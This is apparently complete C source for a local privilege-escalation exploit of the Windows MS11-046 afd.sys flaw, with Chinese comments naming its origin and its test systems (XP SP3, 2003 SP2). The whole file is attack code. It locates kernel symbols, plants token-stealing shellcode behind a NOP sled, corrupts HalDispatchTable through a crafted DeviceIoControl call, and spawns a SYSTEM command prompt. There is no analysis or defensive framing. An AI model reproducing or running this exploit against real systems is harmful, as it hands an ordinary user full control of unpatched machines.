MS11-046

/*
 * 触发MS11-046
 * 来源：azy，http://hi.baidu.com/azy0922/blog/item/053065d197cebfca572c8492.html
 * 改编：KiDebug，[email protected]
 * 编译：VC6.0
 * 测试环境：原版Windows XP SP3，Windows 2003 SP2，普通用户
 */
#include <stdio.h>
#include <Winsock2.h>
#include <windows.h>
#pragma comment (lib, "ws2_32.lib")

typedef struct _RTL_PROCESS_MODULE_INFORMATION {
  HANDLE Section;                 // Not filled in
  PVOID MappedBase;
  PVOID ImageBase;
  ULONG ImageSize;
  ULONG Flags;
  USHORT LoadOrderIndex;
  USHORT InitOrderIndex;
  USHORT LoadCount;
  USHORT OffsetToFileName;
  UCHAR  FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
  ULONG NumberOfModules;
  RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
NtQueryIntervalProfile_  NtQueryIntervalProfile;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
NtQuerySystemInformation_ NtQuerySystemInformation;

ULONG    PsInitialSystemProcess, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable;

void _declspec(naked) ShellCode()
{
  __asm
  {
    pushad
    pushfd
    mov esi,PsReferencePrimaryToken
FindTokenOffset:
    lodsb
    cmp al, 8Dh;
    jnz FindTokenOffset
    mov edi,[esi+1]
    mov esi,PsInitialSystemProcess
    mov esi,[esi]
    push fs:[124h]
    mov eax,PsGetThreadProcess
    call eax
    add esi, edi
    add edi, eax
    movsd
    popfd
    popad
    ret
  }
}



void main( )
{
  HMODULE  ntdll        =  GetModuleHandle( "ntdll.dll" );
  NtQueryIntervalProfile    =  (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
  NtAllocateVirtualMemory    =  (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
  NtQuerySystemInformation  =  ( NtQuerySystemInformation_ )GetProcAddress( ntdll ,"NtQuerySystemInformation" );
  if ( NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL )
    return;
  
  //取ntoskrnl的信息，只要调用一次就行
  ULONG  status, NtoskrnlBase;
  RTL_PROCESS_MODULES  module;
  status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
  if ( status != 0xC0000004 )    //STATUS_INFO_LENGTH_MISMATCH
    return;

  NtoskrnlBase     =  (ULONG)module.Modules[0].ImageBase;

  //把ntoskrnl.exe加载进来
  HMODULE    ntoskrnl;
  ntoskrnl    =    LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
  if ( ntoskrnl == NULL )
    return;

  //计算实际地址
  WriteToHalDispatchTable    =  (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4 + 2; //需要覆盖的地址
  PsInitialSystemProcess    =  (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
  PsReferencePrimaryToken    =  (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
  PsGetThreadProcess      =  (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;

  //以下代码就各显神通了
  if ( VirtualAlloc( (PVOID)0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) == NULL )
    return;
  
  memset((PVOID)0x02070000,0x90,0x20000);
  memcpy((PVOID)0x02080000,ShellCode,100);


  WSADATA ws;

  SOCKET tcp_socket;
  struct sockaddr_in peer;
  ULONG  dwReturnSize;

  WSAStartup(0x0202,&ws);

  peer.sin_family = AF_INET;
  peer.sin_port = htons(0);
  peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );

  tcp_socket = socket(AF_INET, SOCK_STREAM, 0);

  if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
  {
    printf("connect error\n");
  }


  DWORD buf[0x30];
  buf[3]=1;
  buf[4]=0x20;

  if(!DeviceIoControl((HANDLE)tcp_socket,0x12007, (PVOID)buf, 0x60, (PVOID)WriteToHalDispatchTable, 0x0,&dwReturnSize, NULL))
  {
    printf("error=%d\n", GetLastError());
  }

  //触发，弹出SYSTEM的CMD
  NtQueryIntervalProfile( 2, &status );
  ShellExecute( NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);
  return;
}